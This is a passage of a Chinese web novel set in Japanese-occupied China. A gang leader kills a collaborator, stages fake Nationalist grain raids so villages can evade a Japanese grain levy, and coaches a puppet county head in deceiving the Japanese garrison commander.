李二狗看着她这般视死如归的模样,心口像是被一块大石头压住,闷得他喘不过气来。 他想劝,想反驳,想把所有的利害掰开揉碎了摆在她面前。 可他心里清楚,宋小曼的信仰已经扎根在她的心底,不是自己三言两语就能动摇的。 他可以护她一时,却护不了她一世。 只要她依旧坚持要走这条路,危险就会如影随形。 今天躲过了张小发,明天还会有别的敌人找上门。 院子里的鸡鸣已经渐渐停歇,天光越来越亮,阳光穿过院墙上的缝隙洒落下来,在地面上投下斑驳的光影。 灶房里锅里的水已经开始翻滚,米粒在水中慢慢舒展,咕嘟咕嘟地发出细碎的声响。 李二狗沉默了许久,没有再开口争辩。 他心里清楚,两个人之间的隔阂,从来不是因为感情。 昨夜的温存,把两人之间的别扭尽数化开,情爱真切浓烈。 可信仰与道路,却是横在二人中间一道难以跨越的鸿沟。 他向往的,是乱世之中,两个人安安稳稳地相守,远离纷争,护得彼此周全。 而宋小曼向往的,是推翻这吃人的旧世道,为天下百姓谋求生路,哪怕要付出生命的代价。 他可以爱她,可以护她,可以纵容她的小性子,可他很难认同她选择的这条布满鲜血的道路。 宋小曼见他不再说话,也没有继续劝说。 她知道,一时想要改变一个人的看法非常难,这需要更多的时间。 她转过身,伸手掀开锅盖,白蒙蒙的热气扑面而来,氤氲了她的眉眼。 “饭快要熟了。”她轻声说道,语气恢复了几分平和,“先吃饭吧。有些事情,不是一朝一夕就能说通的。” 李二狗站在门框边,望着她忙碌的侧影,心里百感交集。 乱世浮沉,儿女情长,家国大义,搅缠在一起。 他满心的眷恋,终究抵不过她心中滚烫的理想。 他的万般顾虑,也动摇不了她坚定的革命意志。 寒风掠过院落,吹动墙头的几棵枯草,远处不时传来几声零星的狗吠。 早饭的烟火气弥漫在小院之中,可这份短暂的安宁背后,却藏着数不清的风雨与凶险。 第762章 一切尽在掌握中 因为宋小曼住在李二狗家中,多有不便,所以李二狗特意安排张二驴把秀才和陈老三等人带到胡家大院。 如今的胡家大院,大部分佣人先前已被遣散,几大产业也早已关门歇业,只留下十几个家丁看家护院,他们都是张二驴精心挑选出来的人,对李二狗极其忠心。 但李二狗还是比较谨慎,他让张二驴偷偷地安排秀才等人从后门进入胡家大院。 秀才不明白为何把见面地点换成胡家大院,担心有事发生,所以一见面就问道:“狗哥,出什么事了?” 李二狗保持着惯有的微笑,他招招手,示意他们两人先坐下。 他不想让秀才等人知道宋小曼住在自己家中,便解释道:“如今在哪见面都是一样。” 李二狗说这话是为了掩饰,却给人一种一切尽在自己掌握之中的霸气。 陈老三了解李二狗,知道他做什么事都不是随意决定的,刚想开口再问,就被李二狗抢了先。 “今天把你们两个叫来是有一件重要的事情,秀才,三天之内,你想办法搞一百套国军的军服,有没有困难?” “狗哥,弄这么多国军军服干什么?” “这个你先别管,你就说能不能完成?” 秀才略一思考,说道:“我尽量。” 李二狗神情严肃地说道:“不是尽量,是一定要完成。” 秀才知道,李二狗安排的事没有讨价还价的余地,他没有别的选择。 “狗哥,我保证三天之内搞到一百套国军军服!” 李二狗点点头,表达对秀才的赞许,他要的就是这种态度。 他又看向陈老三,说道:“老三,凤凰镇大田庄保长秦寿,不要让他活过今晚,你带人去做。” 陈老三闻言喜不自胜,他根本不关心为什么杀秦寿,李二狗让杀就一定要杀! “狗哥,你就放心吧,保证让他今晚去见阎王。” “事成之后,在他尸体上留几个字。” “留什么字?” “汉奸的下场!落款:国民革命军第一一八师锄奸队。” 国军一一八师是先前驻守在江东附近的国民党军队,日本人占领全省之后,一一八师已经奉命撤离,至于他们目前在哪里,李二狗不知道,他相信日本人也不知道。 “狗哥,是咱们杀的汉奸,留国军的名字干什么?还不如留咱们清风集团的名字,让日本人正好知道咱们集团的厉害。” 李二狗此时没有骂陈老三的心情。 他只给了陈老三一个白眼,陈老三就吓得立马噤了声。 一旁的秀才努力憋住笑,这个陈老三,在清风集团跟随李二狗多年,如今还只是一个莽夫,要不是李二狗念旧,他在集团中连个中层干部都混不上。 秀才问道:“狗哥,素文姐她们继续在集团住着吗?” 李二狗这几天总是有些心神不宁,他有一种不祥的预感,这几天可能会有不好的事情发生。 “先在集团住着吧,你回去告诉她们先别着急,等过了这几天再回来。” 当天晚上,秦寿在家中被杀,尸体被挂在村头的那棵歪脖子树上,尸体上贴着一张白色的纸条:汉奸的下场!国民革命军第一一八师锄奸队。 第二天,这个消息便迅速传遍了整个江东。 各乡镇维持会会长、各村保长顿时吓破了胆,他们一直以为一一八师已经撤离,没想到锄奸队却在江东突然出现。 本来打算强征粮食的众人也全部停了下来。 孙竹刚紧急派人把李二狗叫到家中。 “二狗,怎么一一八师锄奸队在江东突然出现了?他们不是早就撤离了吗?” 李二狗表现的一脸迷茫。 “是啊,我也奇怪,他们为什么会突然出现在江东。” 孙竹刚现在是整个江东最大的汉奸,他一听到锄奸队三个字就浑身发颤。 “会不会是有人冒名顶替?” “大哥,我也不了解情况,这个目前还很难说啊。”他顿了顿,故意往门外瞅了瞅,“不过咱们这里是山区,周围山高林密,想藏一支队伍并不是什么难事,以后咱们还是小心一点为妙。” 孙竹刚吓得脸都白了。 锄奸队,顾名思义就是专门诛杀汉奸的,也许就在此时的某一个隐蔽的角落就有人在盯着他这个江东最大的汉奸。 “兄弟,他们在暗处,咱们在明处,防不胜防啊。” 李二狗觉得心里好笑,难道当汉奸之前就没考虑到这个后果吗?天底下就没有只占便宜不吃亏的好事。 “大哥, 你不觉得现在想这些有些太晚了吗?” 面对李二狗的质问,孙竹刚无言以对。 这正是李二狗想要的结果。 他就是要让孙竹刚感到害怕,感到无所适从。只有这样,接下来无论自己做什么,哪怕做的事情有破绽,孙竹刚也会帮着掩饰。 他们是一条船上的人。 但有些话又不能明说,因为孙竹刚是一个胆小怕事之人,有些事提起让他知道,反而会坏事。 “大哥,征粮的事情怎么办啊?这可都过去两天了,我那边是一点进展都没有,你得想个办法啊,否则到时候日本人怪罪下来,你我都得吃不了兜着走。” 一边是国军锄奸队的暗杀,一边是日本人的怪罪,孙竹刚有一种老鼠拉风箱——两头受气的感觉。 “粮食还得继续征啊,不然日本人不会放过咱们兄弟的。” 孙竹刚嘴上这样说,可这话说得一点底气都没有。 “大哥,秦寿被杀之事影响巨大,我担心底下的人不敢再有所行动。” 孙竹刚此时满脑子都是浆糊,他实在不知道该怎么办。 “走一步算一步吧,大不了老子不干这个受气的县长了。” 孙竹刚见李二狗并不着急,心想,这小子一定是有主意了。 有什么主意说出来,大家一起商量着来,可他却一个字都不提。 可孙竹刚又不能发火,很多事情他还得指望李二狗。 对待此人,只能拉拢,绝不能打压。 “兄弟,你今天别走了,我让你嫂子包海鲜馅的饺子给你吃。” 看着二丫在院外忙碌的背影,李二狗毫不犹豫地答应下来,他已经很久没有吃海鲜馅的饺子了。 第763章 众口一词 接下来的几天,无论哪个维持会会长或保长动用非常手段从老百姓手里征粮,当天晚上就会被杀。 尸体被挂在树上,上面无一例外都写着:汉奸的下场!国民革命军第一一八师锄奸队。 一时间,整个江东风声鹤唳,大小汉奸无不战战兢兢、如履薄冰。 孙竹刚得到消息之后,眼珠子一转,决定将此事报告给宪兵队长龟田一郎。 可龟田一郎根本不在乎这群汉奸的死活,当然他也没有能力去铲除这支神出鬼没的锄奸队。 “孙县长,我不管什么锄奸队,我只要粮食,七日之限马上就要到了,征不到粮食,你们所有人都要被关进宪兵队大牢,统统死啦死啦地!” 他比划了一个抹脖子的动作。 孙竹刚心里咒骂着他祖宗十八辈,嘴上却说道:“龟田队长,现在锄奸队横行乡里,以致人心惶惶,还请您命令皇军出动,彻底歼灭他们,以求保境安民啊。” 龟田一郎听后先是微微一笑,接着冷哼一声,问道:“孙县长,那你告诉我,你口中的锄奸队,他们现在哪里?” 孙竹刚被问得哑口无言。 锄奸队神出鬼没,他怎么可能知道他们在哪里?可就是因为不知道他们在哪里才会更加害怕。 “龟田队长,锄奸队神出鬼没,确实不容易寻找,您看能不能往每个乡镇、村庄都派几名皇军过去维持秩序,相信有皇军在,那些锄奸队一定不敢再造次!我们也好安心征粮啊。” “八嘎!” 龟田一郎一听孙竹刚的馊主意,立马指着他的鼻子破口大骂,并给了他一个大耳刮子。 这也难怪龟田一郎生气,一来龟田一郎手底下没有那么多士兵,二来如果每个村派几名士兵去守卫,那不等于羊送虎口吗?擎等着锄奸队来杀他们! 其实孙竹刚没有这么多心眼,他提出这个要求纯粹是因为自己愚蠢。 “龟田队长,您……您这是做什么?” 他捂着自己发烫的脸颊,内心觉得十分委屈。 龟田一郎根本不想和这个愚蠢的人解释,他厉声说道:“到期交不上粮食,你们通通死啦死啦地,滚出去!” 孙竹刚失魂落魄地从宪兵队走出来,彻底没了主意。 他派到各乡镇督促征粮的人回来报告说,没有一个村庄完成征粮任务。 得罪了日本人,大不了被关进宪兵队大牢,可要是逼迫老百姓交粮食,锄奸队立马就会实施暗杀,无一例外。 正当孙竹刚手足无措的时候,李二狗并没有闲着。 不知道秀才用了什么办法,三天的时间,他果然搞到了一百套国军的军服。 李二狗命令集团特别行动队的队员全部换上国军军服,由孙连胜亲自带队,趁着夜色闯进了仙人洞镇的一个村子。 他们粗暴地闯入村民家中,喝问村民把粮食藏在什么地方。 遇到反抗的村民,他们还时不时踹上两脚。 他们这些人对村民说着最狠的话,可却并不没有发生打砸抢烧行为,更没有奸淫妇女、草菅人命。 只是他们在临走之前,把村里空旷处的几处柴草垛点燃了。 一时间,村内火光冲天,鸡飞狗跳、哭喊声震天。 孙连胜带着人一连去“祸害”了几个村子,如法炮制,各个村子都是一片鬼哭狼嚎。 天快亮时,孙连胜才带着这群穿着国军军服的人,空着手回到清风集团。 和李二狗所料想的一样,虽然孙连胜带的人什么都没抢,可各村村民却几乎异口同声地哭诉自家粮食昨夜被抢夺一空。 李二狗特意带着人到一个村子查看情况。 几乎家家户户门口都坐着妇人孩子在地上嚎啕大哭。 当她们看到李二狗走过来,哭得更凄惨,声音更大了。 “老天爷啊,你快睁开眼看看吧!家里一粒粮食都没有了,都被这些杀千刀的当兵的抢走了,我们以后的日子可怎么过啊?没法活了!我不想活了!老天爷呀!” 她们身边的孩子哭得声音要是不如邻居家孩子的哭声大,妇人便会偷偷地狠掐孩子一把,孩子顿时疼得嗷嗷直叫唤。 李二狗一路走一路愁眉苦脸。 这个村子他提前找了两户人家,手把手地教他们如何做,如今看来,一切都在计划之中。 “二驴,你安排人把咱们镇的情况报告给孙县长,让他提前有个心理准备。” 张二驴笑道:“放心吧,狗哥,我马上去安排。” 当天晚上,江东县很多村子又遭到国军队伍抢劫。 由于特别行动队人数有限,一时“洗劫”不了那么多村子。 有些村子没有“等靠要”,他们自发地行动起来,自导自演了一出村子被“洗劫”的戏码。 短短时间内,江东县的村庄几乎被洗劫一空。 各乡镇的维持会长,还有一些村里的保长齐聚县政府会议室。 “孙县长,也不知道从哪里窜出来这么多国民党军队,我们村子被洗劫一空。” “是啊,家家户户藏着掖着的那点粮食都被他们抢走了!” “这事太蹊跷了。” “孙县长,你快点去请求皇军出兵吧,不能让这些国民党残兵败将在江东为所欲为啊。” “是啊,必须坚决消灭他们。” 事态的发展完全在李二狗的计划之中,他的这个计划并不是天衣无缝,只要仔细分析都会看出破绽。 可大家全部心有灵犀地选择了看破不说破。 道理很简单,他们无法按时完成日本人下达的征粮任务,正在为寻找一个合情合理的借口而发愁。 而李二狗策划的国军抢劫这件事,正契合他们的心意。 刚想睡觉就有人递枕头,他们没有理由去分析这件事的真伪,如果真有人站出来表达异议,很可能被其他人群起而攻之。 孙竹刚心里也在纳闷,国军早就败退而去,为何此时突然出现在江东,又是锄奸队又是抢粮队伍。 这么多村子同时被抢劫,那江东地界上得有多少国军? 这太不符合常理了。 可这个理由却是目前应付日本人最好的理由,他没有理由弃而不用。 “大家说得对,我马上去向龟田队长报告。” 第764章 为大哥着想 李二狗紧跟在孙竹刚身后,一起出了县政府会议室的房门。 孙竹刚脚步极快,心里头像揣了一团乱草似的,火烧火燎的往前走。 自打他知道国军抢粮这件事之后,他就一心想着赶紧去宪兵队,把这事报告给龟田一郎。 日本人规定征粮的七日期限马上就要到了,如果到时候完不成任务,他这个伪政府的县长,脑袋随时都会搬家,日本人的凶残他是最清楚的。 从目前各个乡镇的征粮进度看,肯定无法按期完成日本人下达的征粮任务。 没想到在这节骨眼上,国军突然出现了,这仿佛成了他活命的唯一稻草。 虽然他心里十分怀疑这件事的真伪,但大家都众口一词,他没有怀疑的理由。 孙竹刚走了没多远,李二狗便叫住了匆匆前行的孙竹刚。 “大哥,你等一下,我有话要说。” 他的声音不高,听不出半点慌张,跟心急如焚的孙竹刚比起来,沉稳得不像话。 孙竹刚只好停下脚步,回过头来,脸上满是焦躁,大冬天的,他的额头上竟沁着一层薄汗。 他抬手胡乱地抹了一把脸,语气显得又急又躁。 “兄弟,有什么话还是等我回来再说吧,我现在得赶紧去向龟田那个龟孙子报告这个情况,这可关乎咱们兄弟的性命前途啊。晚一步,万一再出什么岔子,咱俩谁都落不下好。” 说完他转身又要走,恨不得插上翅膀马上飞到宪兵队。 李二狗眼疾手快地伸手拽住了他的胳膊,直接把心急火燎的孙竹刚拦了下来。 “大哥,你就这样去,你觉得龟田那个龟孙子能信你说的话吗?” 李二狗目不转睛地看向孙竹刚,眼底藏着几分旁人看不穿的算计。 孙竹刚心急如焚,他根本没有看到李二狗脸上的变化,一双眼睛瞪得溜圆,脸上扯出一副豁出一切的模样。 在他看来,横竖他是如实上报了,日本人信不信是他们的事。 他粗声粗气地说道:“管他狗日的信不信,反正我信。我就如实禀报上去,以后再出什么差错,也怪不到咱们头上!” 看着他这副顾头不顾腚的样子,李二狗心里只觉得哭笑不得。 他太了解孙竹刚这个人了。 他虽然是县长,但一向贪生怕死,只会趋炎附势,还爱贪小便宜,真遇到事情,一点真本事都没有。 这些年来,若是没有李二狗在他背后一步步用心扶持、暗中打点,凭孙竹刚这点能耐,撑死了也就混个街头小警察当当,逢年过节敲敲老百姓的竹杠,混个温饱安稳。 真遇上什么棘手的事情,他从来都是束手无策,除了慌张谄媚、低头求饶,再没有别的本事。 如今摊上这种关乎性命的大事,他依旧是这般莽撞无脑的样子,当真糊涂得可怜。 李二狗往前凑近一步,声音压得低了些。 “大哥,你怎么还没想明白其这中的关键。现在这局面,你自己相信根本没什么用,关键是要让日本人相信。龟田那个人生性多疑,你这样空口白牙去报告,他又怎会轻易相信?到时候轻则训斥,重则直接治你罪,你如何应对?” 这番话如同一盆凉水,直直地浇在了孙竹刚乱糟糟的心头。 他瞬间怔住了,脸上的焦躁褪去大半,取而代之的是一脸茫然无措。 他愣在原地,脑子飞速地转了半天,也想不出一个稳妥的法子。 他这辈子最擅长的就是拍马溜须,哪里懂得跟天性狡诈的日本人玩心眼。 “那怎么办?二狗,你脑子活、主意多,你说说,到底怎样才能让日本人相信?大哥都听你的。” 看着他这副毫无主见的模样,李二狗嘴角勾起一抹极淡的笑意。 那笑意藏得极深,不仔细看根本察觉不到,里面藏着一切尽在掌握的沉稳。 他再次凑近孙竹刚,几乎贴到了对方耳边,将提前谋划好的计策低声耳语出来。 孙竹刚凝神细听着,听着听着,他的眼睛越睁越大,脸上的神色也在不停变换着。 他先是错愕,再是震惊,最后彻底懵在了原地,浑身都透着难以置信。 等李二狗说完,静静地看着他时,孙竹刚才猛地回过神来,喉结忍不住滚动了两下。 “这……这法子能行吗?会不会出什么纰漏,反倒引火烧身?” 李二狗神色坦然地说道:“大哥,你就放心吧,我都安排妥当了,不会出什么差错。你只管按我说的去做,保准无事。” 直到这一刻,孙竹刚才彻底醒悟过来。 原来之前所有看似偶然发生的一切,根本就不是凭空出现的,全都是李二狗提前布好的局。 他一时间心里五味杂陈。 心里隐隐有几分恼怒,他恼怒李二狗这般大事,竟然从头到尾瞒着他,把他蒙在鼓里。 可更多的,却是心底深处的后怕和庆幸。 他后怕自己方才险些空口白牙跑去宪兵队向龟田一郎禀报,如果面对龟田一郎的质问,自己不能很好地应对,很可能落个身首异处的下场。 同时他也庆幸身边还有李二狗这般有勇有谋的人,默默地替他铺好了所有路。 眼下他毫无能力自保,事事都得依赖李二狗,就算此时心里对他有再大的怨气,他也不敢发作。 眼下的他,除了听从李二狗的安排,根本别无选择。 沉默了片刻,孙竹刚长长地叹了一口气,语气里带着几分无奈和一丝被糊弄的憋屈。 “二狗,你可真是瞒得大哥好苦啊。这么大的事,竟然半句风声都不跟我透露。” 李二狗脸上露出几分温和的笑意,态度谦和,顺势对着他拱手致歉。 “大哥,你多担待。因为此事关系重大,一旦走漏半点风声,很可能会招来杀身之祸。我也是怕中间出什么纰漏,会连累到大哥的安危,所以才一直隐忍不说,直到现在才敢告知大哥,我这都是为大哥的安危着想啊。” 话说到这份上,情理道义都被李二狗占了。 第765章 真假难辨 孙竹刚除了感激,其他的情绪只能深深地藏在心中。 他本来就是一个没有什么主见的人,再加上他深知自己全靠李二狗扶持才能坐稳如今的位置。 想到这,他心里那点憋屈和恼怒,瞬间就烟消云散,再也计较不起来。 他点了点头,像是瞬间找到了主心骨。 “好!兄弟,既然你都安排妥当了,那我现在就去宪兵队找龟田报告!” 说罢,孙竹刚再不耽搁,一溜烟朝着日军宪兵队赶去。 他那模样,看着格外谄媚滑稽。 宪兵队青砖高墙,大门常年紧闭,门口站着荷枪实弹的日本哨兵,寻常百姓路过,都要远远绕道,不敢靠近。 孙竹刚一路小跑过来,气喘吁吁,还没走到门口,就主动对着站岗的日本士兵弯腰点头,满脸堆笑,极尽讨好,全然没有一县之长的派头。 当然,在日本人面前,哪怕是省长,他们也只当你是一条狗。 日本鬼子都认识这个奴颜媚骨的汉奸县长,没有阻拦便直接放行。 孙竹刚穿过肃杀冷清的宪兵队院落,一路跑进办公楼,见到正坐在屋里喝茶看文件的龟田一郎。 他立刻快步上前,弯着腰,脸上堆满了惶恐的神情,一副大祸临头的模样。 “龟田队长!大事不好了!出大事了!” 龟田一郎目光阴鸷,眼神深邃,脸上没有什么表情,只是淡淡看向慌慌张张闯进来的孙竹刚。 “孙县长,什么事如此慌张?” 孙竹刚不敢抬头直视他的眼睛,继续装出慌张失措的样子。 “龟田队长,近日有好几股国军队伍,悄悄潜入了咱们江东境内,几乎把江东大大小小所有村子都洗劫了一遍!村里所有的粮食,全被他们抢得一干二净!” 这话一出,屋里的空气瞬间凝固了。 龟田一郎端着茶杯的手指微微一顿,眼底掠过一抹明显的怀疑。 他自驻守江东以来,从未敢有任何松懈,国民党的队伍堂而皇之地进入江东县境内,他竟然没有提前收到任何风声。 这不是打他的脸吗? 江东现在是沦陷区,防守周密,怎么可能突然凭空冒出来好几股国军队伍,还大肆劫掠各村粮食,他竟然全然不知? 这事听起来,根本就是天方夜谭。 龟田一郎认为这是孙竹刚为不能按期完成征粮任务而想的推脱之词。 他放下手中的茶杯,杯底落在木桌上,发出一声清脆的声响。 他目光沉沉地盯着孙竹刚,语气冰冷,带着十足的威慑意味。 “孙县长,你当我是三岁孩子吗?你这种漏洞百出的谎话,也敢在我面前编造?你应该清楚,欺骗皇军,谎报军情,是什么下场!” 屋内的寒意瞬间扑面而来,压得孙竹刚心头一紧,后背瞬间冒出一层冷汗。 好在他早就被李二狗提前叮嘱过,心里已有底气,纵然心底发慌,脸上却一点不露破绽。 他强行稳住心神,面色依旧沉稳,脸上看不出半分心虚。 他迎着龟田一郎审视的目光,语气笃定地说道:“龟田队长,卑职所言句句属实,绝无半句虚言!若是您不信,大可立刻派遣皇军,前往各个村子进行核查。那些国军入境之后,四处流窜,杀烧抢掠,无恶不作,把各村百姓祸害得苦不堪言,当地老百姓现在对这些国军,个个都是恨之入骨,怨声载道!” 他说得情真意切,那神态和语气全都滴水不漏,找不到半分撒谎的痕迹。 龟田一郎紧紧盯着他的脸,仔细审视着他说的话。 他本是城府极深的老狐狸,最擅长察言观色,一般人的谎言,根本瞒不过他的眼睛。 可今日,孙竹刚神色坦荡,镇定自若,没有一点慌乱闪躲,实在看不出一丝说谎的端倪。 这下子,就连老谋深算的龟田一郎,心里也不由得犯起了嘀咕。 难道他说的都是真的? 可整件事情实在太过匪夷所思,他看着孙竹刚那副言之凿凿的模样,又不像是凭空捏造出来的谎言。 他心里的疑虑越来越重,神色也渐渐变得凝重起来。 孙竹刚将龟田一郎神色的变化尽收眼底,心里暗暗松了口气,知道时机到了。 他牢牢记着李二狗提前教给他的话术。 “龟田队长,依卑职之见,这些国军抢了数量如此庞大的粮食,必然行动迟缓,一时半会儿绝对没办法撤出江东地界。为了不留后患,卑职愿意亲自带着人下去搜寻,一定查清这些国军的藏身之处。一旦查到他们的踪迹,我会第一时间赶回来向您禀报,届时再劳烦您派皇军一举剿灭这股匪军,夺回被他们抢走的所有粮食!” 孙竹刚这番话说得进退有度,既表达了自己对日本人的忠心,又给出了一个切实可行的对策,从表面上,确实挑不出一点毛病,不由得龟田一郎不信。 龟田一郎垂着眼眸,默默地沉思着。 眼下情况不明,真假难辨,正好可以借着孙竹刚主动请缨的由头,让他带人前去探查。 若是最后真的能找到国军队伍,自然是大功一件,既能剿灭敌军、夺回粮食,又能稳固辖区治安。 可若是孙竹刚最终什么踪迹都找不到,那就坐实了他欺瞒皇军的罪名。 到时候,他就可以名正言顺地严惩孙竹刚,治他的失职欺瞒之罪。 这是一桩稳赚不赔的买卖。 心念至此,龟田一郎抬眼看向孙竹刚。 “孙县长,我允许你带人前去探查情况。但你一定要牢牢记住,若是你此番下去探查,找不到敌军的踪迹,欺骗皇军的后果是非常严重的!” 孙竹刚连忙挺直腰板,用力拍着自己的胸脯,一副忠心耿耿的模样,他大声保证道:“请龟田队长放心!卑职定当全力以赴,一定找到国军的踪迹!若是此番查不到任何线索,不用队长您问责,卑职即刻引咎辞职,甘愿领受所有的责罚!” 看着他这副表忠心的蠢样,龟田一郎眼底飞快闪过一抹轻蔑的笑意。 第766章 找到国军藏身之地 龟田一郎微微点了点头,抬手拍了拍孙竹刚的肩膀。 “很好,孙县长对皇军一片赤诚忠心,我十分欣赏。你即刻带人出发,务必找到敌军踪迹,皇军绝不会亏待有功之人。” “是!多谢龟田队长夸奖!效忠皇军,本就是卑职分内的本分,卑职不敢居功!” 孙竹刚连忙弯腰躬身,满脸谄媚笑意,一副受宠若惊的模样。 “吆西!你快去快回,我在宪兵队等候你的消息。” 龟田一郎摆了摆手,示意他退下。 孙竹刚躬身告退,转身快步离开了日军宪兵队,急匆匆赶回了县政府。 回到县政府之后,他立刻把在会议室等候的各乡镇维持会会长和部分村的保长全都遣散。 尽管这些人围着孙竹刚询问结果,可孙竹刚根本没有耐心回答他们的问题。 “你们都先回去等候消息。” 众人没有得到想要的答案,都围着孙竹刚不愿散去。 孙竹刚终于失去了耐心。 “老子让你们回去等消息,耳朵都聋了吗?都给老子滚!” 众人见孙竹刚发火,便不敢再逗留,都唉声叹气地离开了。 七日之限马上就到了,难怪他们如此着急。 众人离开之后,孙竹刚精心挑选了平日里跟着自己的几个心腹警察,和院外等待的李二狗一起径直赶往胡家大院。 接下来的两日,孙竹刚一行人压根没下去搜寻,整日待在胡家大院里。 大院里早就备好了酒肉饭菜,他们每日便是胡吃海喝,过得逍遥自在。 因为李二狗故意当着众人的面向孙竹刚保证,他会亲自带领胡家大院的家丁去寻找国军的下落。 孙竹刚心里清楚,李二狗做事向来稳妥,既然说了万事俱备,就绝对不会出半点差错。 两日的时间,李二狗有条不紊地完善了所有的布局。 等所有安排已经到位,孙竹刚才带着心腹,装作奔波劳碌的模样,返回江东县城。 一回到县城,他又立刻屁颠屁颠地直奔日军宪兵队,向龟田一郎复命。 刚一进门,孙竹刚脸上就刻意摆出一副疲惫不堪的模样。 不等龟田开口,他便高声禀报道:“报告龟田队长!卑职带着手下几名弟兄,这两日风餐露宿、翻山越岭,几乎走遍了全县所有的村庄和深山老林,历尽千辛万苦,总算不负所托!我们终于在转经山的深山里,找到了那股国军队伍的藏身营地!” 此刻的龟田一郎,原本心里早已不抱任何希望。 在他看来,孙竹刚这种只会谄媚讨好的庸碌之辈,根本不可能查出什么像样的线索,此番出去多半是敷衍了事,最后空手而归,再找一堆借口搪塞糊弄过去。 他甚至已经提前想好,若是孙竹刚无功而返,便立刻借机治他的罪。 可他万万没有想到,这看似离谱的传闻,竟然是真的,孙竹刚居然真的找到了国军的队伍! 龟田一郎心里瞬间生出几分意外,连忙追问道:“当真找到了?那支队伍有多少人?” 孙竹刚早已把李二狗交代的数字烂熟于心。 “龟田队长,他们大约有七八百人!人数不少,全都隐藏在转经山深处的一处营地里!” 龟田一郎闻言,心底快速盘算着眼下的兵力局势。 如今日军战线拉得极长,南下推进的速度太快,各处兵力都十分吃紧。 原本驻守江东的部队,前段时间大半都被上级调往了前线战场,留守江东的兵力锐减。 现如今,整个江东县城及周边所有能调动的日军兵力,全部加在一起,尚且不足四百人,守备力量早已十分薄弱。 四百对八百,兵力数量上日军看似处于劣势。 但日军装备精良、武器先进,士兵个个训练有素,战斗素养极高。 反观国军队伍,装备参差不齐,士兵训练松散,军心涣散,战斗力十分薄弱。 龟田一郎相信大日本帝国的皇军完全可以以一敌十,这样算下来,他胜券在握。 四百精锐日军,击溃八百普通国军,完全是绰绰有余。 可龟田一郎到底是混迹战场多年的军官,他心思狡诈,绝不会因为孙竹刚的几句汇报,就轻易相信他的片面之词,更不会贸然出兵。 越是看似稳妥的局势,他越是谨慎多疑,生怕其中藏有陷阱。 他对着孙竹刚露出一副赞许的神色,起身上前两步,抬手拍了拍孙竹刚的肩膀,语气温和地说道:“孙县长,你做得非常好。只是行军作战,容不得半点马虎,为稳妥起见,确保我大日本皇军能够一举击溃敌军,我必须派遣两名精干皇军,再去转经山实地侦察一番,确认敌军营地的位置和布防情况。由你亲自带路,即刻出发。” 这话一出,孙竹刚没有丝毫慌乱。 这所有的一切,早在出发之前,李二狗就已经精准地预料到,并且提前一一告知了他,教给了他所有的应对之策。 他立刻躬身应下,脸上摆出恭敬配合的模样。 “是!卑职明白!一切听从龟田队长安排!卑职亲自带路,随皇军一同前往侦察!只是转经山深山老林,山路崎岖难行,要辛苦两位皇军受累了。” 龟田一郎站在一旁,目光紧紧盯着孙竹刚的神色,细细观察着他的一举一动,试图从他的神态里捕捉到撒谎的破绽。 可孙竹刚全程神色坦然,从头到尾没有露出半点漏洞。 龟田一郎心底的疑虑再次加深,忍不住暗自沉吟:莫非,孙竹刚说的句句属实?难不成江东境内真的悄悄潜入了一支国军队伍藏在深山之中? 一想到这里,他心底瞬间生出一股极强的危机感。 江东是他的驻守辖区,如今竟然有数百敌军悄无声息渗透入境,而他事先半点察觉都没有。 这件事若是被上级知晓,必然会斥责他守备松懈、渎职失职,轻则降级问责,重则革职查办,后果不堪设想。 这股敌军必须立刻剿灭,绝对不能留下半点后患! 第767章 龟田一郎的算计 龟田一郎再次对着孙竹刚点头赞许道:“很好,孙县长忠心可嘉,辛苦你了,皇军定会记住你的功劳。你的良心大大的好。” “不敢不敢!都是卑职应该做的分内之事,不辛苦!” 孙竹刚弯腰摆手,满脸堆笑,谄媚的姿态展现得淋漓尽致。 龟田一郎沉声吩咐道:“吆西!你速去速回,我即刻集结队伍,在宪兵队等候你们的消息。” “是!卑职遵命!” 孙竹刚精心挑选出两名心腹警察随行,和龟田派来的两名日军侦察兵汇合。 为了掩人耳目,几人全部换上了当地老百姓穿的粗布麻衣、布鞋,打扮成进山采药的农户模样。 一行人出城后,朝着转经山的深山腹地赶去。 一路翻山越岭,越往深处走,草木越茂密,山路越崎岖。 等走到距离国军隐蔽营地还有不到一千米的距离时,孙竹刚停下脚步,拦住了众人前行的脚步,转头对着两名日本士兵说道:“太君,前面再往里走,就是敌军的警戒范围了。咱们虽然换了当地老百姓的衣服,装扮上看不出破绽,可二位太君口音和本地百姓截然不同,一旦开口说话,立刻就会暴露身份。” 两名日本士兵闻言,相互对视一眼,默默地点了点头,心底十分认同孙竹刚的说法。 他们虽然会说几句中国话,但口音生硬,和本地乡民的方言截然不同,在这种荒僻的深山里,稍有一点口音的破绽都足以引来大祸。 其中一名日军士兵身手矫健,他快速地扫过前方的山林地势,一眼就看中了旁边一棵高大粗壮的老树。 他二话不说,上前几步,手脚并用,借着树干枝丫,三两下就灵活地攀爬了上去,动作利落干脆,速度极快。 他蹲在高高的树杈之间,视野瞬间开阔,能够清晰地俯瞰前方山谷的全貌。 树下的孙竹刚见了这一幕,立刻满脸惊叹,连连拍手叫好,嘴里吹捧道:“厉害!太君您真是太厉害了!这身手、这速度,简直就是传说中的飞檐走壁啊!绝了!太了不起了!” 他一通无脑吹捧,极尽阿谀奉承之能事。 树上的日本鬼子压根懒得理会他的谄媚奉承,全程神色冷峻,丝毫不受干扰。 他蹲在树杈上,快速从随身的背包里取出一副军用望远镜,举到眼前,认真眺望前方的山谷腹地。 果然在山谷底部的位置,有一处营地。 此刻夕阳西沉,暮色四合,天色渐渐暗了下来。 整片山谷静谧幽深,营地之中炊烟袅袅,一缕缕白色的炊烟缓缓升起,缭绕在山林之间。 营地里灯火隐约,人影攒动,时不时就能看到一个个身着国军制式军服的士兵,来回走动穿梭,或是拾柴生火、或是站岗值守、或是整理物资,营地秩序井然,看着人数着实不少。 日军士兵握着望远镜,仔细观察了许久,他认真数着营地中火堆的数量、彼此的间距,结合军营的规模大小,在心里快速估算着营地内驻扎的士兵总人数。 摸清大致情况之后,他才从高高的树杈上缓缓地爬了下来,落地稳稳无声。 落地之后,他立刻走到另一名留守树下的日军士兵身边,两人凑到一起,飞快地低声嘀咕交谈了几句,交换着侦察到的所有信息。 片刻之后,两人便达成了统一结论。 一旁的孙竹刚见两人交谈完毕,立刻凑上前去,满脸讨好地轻声问道:“太君,您都看清楚了吧?山谷里是不是驻扎着大量国军士兵?人数是不是和卑职禀报的一样?” 两名日本士兵面色冷峻,没有多余的话语,根本懒得搭理孙竹刚的问话,只冷冷吐出一句指令:“情况已清,即刻返回县城。” 